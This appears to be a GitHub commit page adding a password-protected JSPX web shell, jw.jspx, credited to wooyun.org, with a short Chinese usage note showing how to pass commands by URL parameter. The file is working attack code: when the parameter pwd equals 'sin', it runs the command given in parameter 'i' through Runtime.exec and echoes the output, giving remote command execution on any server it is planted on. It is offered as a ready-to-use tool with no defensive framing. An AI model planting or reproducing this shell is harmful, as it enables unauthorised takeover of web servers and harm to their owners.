Permalink
Browse files

Create jw.jspx

from wooyun.org
使用说明:http://xx.xx.xx/jw.jspx?pwd=sin&i=ls
有回显,带密码
  • Loading branch information...
tennc committed May 18, 2015
1 parent 6c708c5 commit 1b499ce7bb9105a032f1f2fa4875bdfa037f0238
Showing with 15 additions and 0 deletions.
  1. +15 −0 jspx/jw.jspx
View
@@ -0,0 +1,15 @@
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet>
if("sin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("&lt;pre&gt;");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("&lt;/pre&gt;");
}
</jsp:scriptlet>
</jsp:root>

0 comments on commit 1b499ce

Please sign in to comment.